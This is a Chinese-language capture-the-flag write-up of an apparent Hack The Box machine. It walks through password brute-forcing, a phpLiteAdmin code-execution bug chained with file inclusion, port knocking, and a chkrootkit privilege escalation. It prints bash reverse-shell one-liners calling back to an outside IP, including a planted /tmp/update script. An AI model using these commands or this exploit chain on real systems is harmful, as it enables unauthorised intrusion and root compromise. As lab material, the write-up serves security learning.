1 信息收集
NMAP 端口扫描
80 端口
80端口是服务器的默认页面,无可利用功能点,源代码没有可利用的敏感信息
目录扫描
1.http://10.129.25.123/department
访问/department目录跳转到登录页面,尝试暴力破解,获取到账号密码:admin 1q2w3e4r5t
登录后页面显示存在 /serect文件夹、amrois用户
2.http://10.129.25.123/info.php
443 端口
443端口是一张图片,无其他可利用点
目录扫描
访问 /secure_notes、/server-status 目录 与 https://10.129.25.123/ 页面相同
1.https://10.129.25.123/db
页面显示 phpLiteAdmin v1.9
,可以搜索其相关漏洞
1.9.3 版本存在一个远程命令执行漏洞,攻击者可以创建一个带有php扩展名的sqlite数据库,并将php代码作为文本字段插入。完成后,攻击者可以通过使用web浏览器访问数据库文件来执行它。
暴力破解
创建sqllite数据库需要登录https://10.129.25.123/db,尝试进行暴力破解
使用hydra工具进行暴力破解,登录页面需要猜解password字段,用户名可以随意指定,爆破密码 password123
2 phpLiteAdmin 1.9.3 版本远程命令执行漏洞
- 创建一个 .php 结尾的数据库
- 将php代码作为文本字段插入
- 访问 /var/tmp/test.php
但是出现了一个问题:如何访问 /car/tmp/test.php
在Notes按钮,发现 http://10.129.25.123/department/manage.php?notes=files/ninevehNotes.txt
路径;
http://10.129.25.123/department/manage.php?notes=/var/tmp/txt.php&cmd=ls
执行失败
- 测试
在通过文件包含执行我们的数据库文件时,LFI 需要名称 ninevehNotes,重新将数据库名称更改为 ninevehNotes.php
http://10.129.25.123/department/manage.php?notes=/ninevehNotes/../var/tmp/ninevehNote.php&cmd=id
执行成功
- 反弹shell
bash -c 'bash -i >& /dev/tcp/10.10.14.25/4444 0>&1 &'
3 横向移动
www-data 到 amrois
之前访问 /department 发现存在一个用户 amrois,查看 /etc/passwd 进行确定
查找 amrois 可访问的文件
find / -user amrois \( -readable -o -writable \) 2>/dev/null
在文件中查找 amrois,并在 /var/www 目录中发现 nineveh.png
cd /var/www
grep -lir amrois . 2>/dev/null
将 nineveh.png 文件下载到本地进行查看
使用 strings 命令查找可打印的字符串,发现 amrois 用户以及一个 SSH 密钥,猜测此密钥为用户amrois私钥
但是使用私钥进行ssh访问时失败
端口敲击
查找 ssh登录 失败原因
查看进程:
www-data@nineveh:/tmp$ ps aux
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1315 0.7 0.3 8756 3860 ? Ss 02:45 8:03 /usr/sbin/knockd -d -i ens160
knockd
是一个用于端口敲击的守护进程,当某些端口被按顺序敲击时,将设置某些防火墙规则。
查看 knockd
配置文件 ``
配置文件显示:5秒内通过输入 571、290、911 和 syns 来打开 SSH,这样做之后,它会添加一条防火墙规则以允许 我的IP 访问端口 22。
使用如下命令,循环遍历三个端口:
for x in 571 290 911 22;do nmap -Pn --max-retries 0 -p $x 10.129.25.123; done
(base) gryphon@wsdl Demo %for x in 571 290 911 22;do nmap -Pn --max-retries 0 -p $x 10.129.25.123; done
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.PORT STATE SERVICE
571/tcp filtered umeterNmap done: 1 IP address (1 host up) scanned in 1.18 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.PORT STATE SERVICE
290/tcp filtered unknownNmap done: 1 IP address (1 host up) scanned in 1.14 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.PORT STATE SERVICE
911/tcp filtered xact-backupNmap done: 1 IP address (1 host up) scanned in 1.14 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Nmap scan report for 10.129.25.123
Host is up (0.43s latency).PORT STATE SERVICE
22/tcp open sshNmap done: 1 IP address (1 host up) scanned in 0.58 seconds
ssh登录成功
4 权限提升
使用 pspy 工具对服务器进行信息收集
发现 chkrookit
, 0.50 之前的 chkrootkit 将运行任何以 root 命名的/tmp/update可执行文件,从而进行权限提升。
amrois@nineveh:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.25/4444 0>&1'
#!/bin/bashbash -i >& /dev/tcp/10.10.14.225/4444 0>&1
amrois@nineveh:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.25/4444 0>&1' > update
amrois@nineveh:/tmp$ chmod +x update
执行监听,下次chkroot运行时,得到一个 shell